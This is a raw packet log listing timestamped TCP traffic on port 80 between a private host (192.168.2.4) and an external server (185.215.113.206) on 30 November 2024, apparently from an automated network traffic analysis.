Nov 30, 2024 09:44:21.538654089 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.538666964 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.538712025 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.540358067 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.540375948 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.540385962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.540426970 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.542093992 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.542109013 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.542154074 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.543802977 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.543816090 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.543847084 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.543867111 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.545506001 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.545516968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.545557976 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.547219038 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.547230959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.547281027 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.548942089 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.548954010 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.548964024 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.548993111 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.549007893 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.550632000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.550641060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.550679922 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.633339882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.633419991 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.634110928 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.634161949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.634896040 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.634907007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.634946108 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.636454105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.636466026 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.636514902 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.638752937 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.638765097 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.638808012 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.642178059 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.642190933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.642236948 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.643887997 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.643902063 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.643942118 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.643969059 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.645606041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.645617008 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.645652056 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.645673990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.647331953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.647380114 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.649036884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.649049044 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.649081945 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.649102926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.650733948 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.650784016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.652458906 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.652472973 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.652507067 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.652528048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.654179096 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.654190063 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.654223919 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.654242039 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.655879021 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.655889988 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.655934095 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.659265041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.659285069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.659333944 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.659343004 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.661009073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.661020994 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.661032915 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.661061049 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.661088943 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.662699938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.662751913 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.664447069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.664505005 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.666153908 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.666165113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.666213036 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.667855024 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.667912960 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.669580936 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.669594049 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.669640064 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.671272039 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.671283007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.671345949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.673005104 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.673017025 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.673063993 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.702018023 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.702122927 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.702373981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.702547073 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.702579975 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.702630997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.703366041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.703428030 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.704159975 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.704170942 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.704231024 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.705677032 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.705727100 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.706465960 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.706476927 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.706516027 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.707983971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.708039045 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.708794117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.708803892 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.708858967 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.710320950 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.710331917 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.710375071 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.711942911 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.711955070 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.712001085 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.713408947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.713421106 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.713459015 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.715159893 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.715173960 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.715215921 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.715225935 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.716845036 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.716857910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.717010975 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.718549013 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.718563080 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.718631983 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.720258951 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.720271111 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.720282078 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.720319033 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.720345974 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.721982002 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.721998930 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.722034931 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.722058058 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.723861933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.723886967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.723912001 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.723932028 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.725370884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.725382090 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.725421906 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.727098942 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.727111101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.727118969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.727150917 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.727168083 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.728837013 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.728848934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.728890896 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.730540037 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.730551004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.730593920 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.732243061 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.732254028 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.732295990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.733961105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.733972073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.734004021 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.734030962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.735683918 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.735697031 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.735707045 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.735739946 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.735769987 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.737386942 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.737406969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.737437963 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.737452030 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.739115953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.739128113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.739170074 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.740807056 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.740824938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.740855932 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.740886927 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.742515087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.742527962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.742537975 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.742561102 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.742582083 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.744231939 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.744244099 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.744276047 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.744302034 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.745910883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.745929003 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.745974064 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.745997906 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.747648001 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.747658968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.747709990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.749373913 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.749386072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.749423027 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.749475956 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.751061916 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.751074076 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:21.751106977 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.751143932 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.855748892 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:21.975613117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.309700966 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.309866905 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.310146093 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.310199976 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.311115980 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.311125040 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.311183929 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.312232971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.312283039 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.313173056 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.313184023 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.313226938 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.315016985 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.315027952 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.315067053 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.316857100 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.316868067 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.316905022 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.318696976 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.318707943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.318752050 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.320805073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.320816040 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.320856094 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.322789907 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.322801113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.322841883 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.324846983 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.324858904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.324902058 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.326858997 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.326879978 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.326889992 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.326909065 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.326941013 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.328922987 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.328933954 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.328974962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.330971956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.330991030 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.331029892 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.333045959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.333056927 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.333101034 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.335081100 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.335092068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.335100889 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.335133076 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.335144043 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.337133884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.337146044 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.337198019 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.339169025 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.339179993 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.339232922 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.341224909 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.341236115 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.341284990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.343277931 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.343290091 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.343329906 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.345320940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.345331907 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.345341921 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.345375061 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.345397949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.347405910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.347417116 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.347460985 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.349380970 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.349397898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.349438906 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.351458073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.351469994 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.351512909 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.353490114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.353514910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.353562117 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.453810930 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.453906059 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.454191923 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.454246998 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.454929113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.454987049 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.455672979 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.455732107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.456448078 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.456459045 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.456495047 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.456518888 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.457907915 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.457920074 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.457967997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.459402084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.459417105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.459444046 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.459460974 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.460863113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.460874081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.460901022 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.460916996 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.462346077 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.462357044 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.462409019 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.463814974 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.463845968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.463891983 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.463920116 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.465265989 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.465276957 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.465359926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.466928005 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.466943979 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.466969013 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.466991901 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.468554020 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.468566895 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.468607903 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.468619108 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.470194101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.470206022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.470249891 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.470261097 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:22.471829891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.471843004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:22.471853971 CET	80	49749	185.215.113.206	192.168.2.4
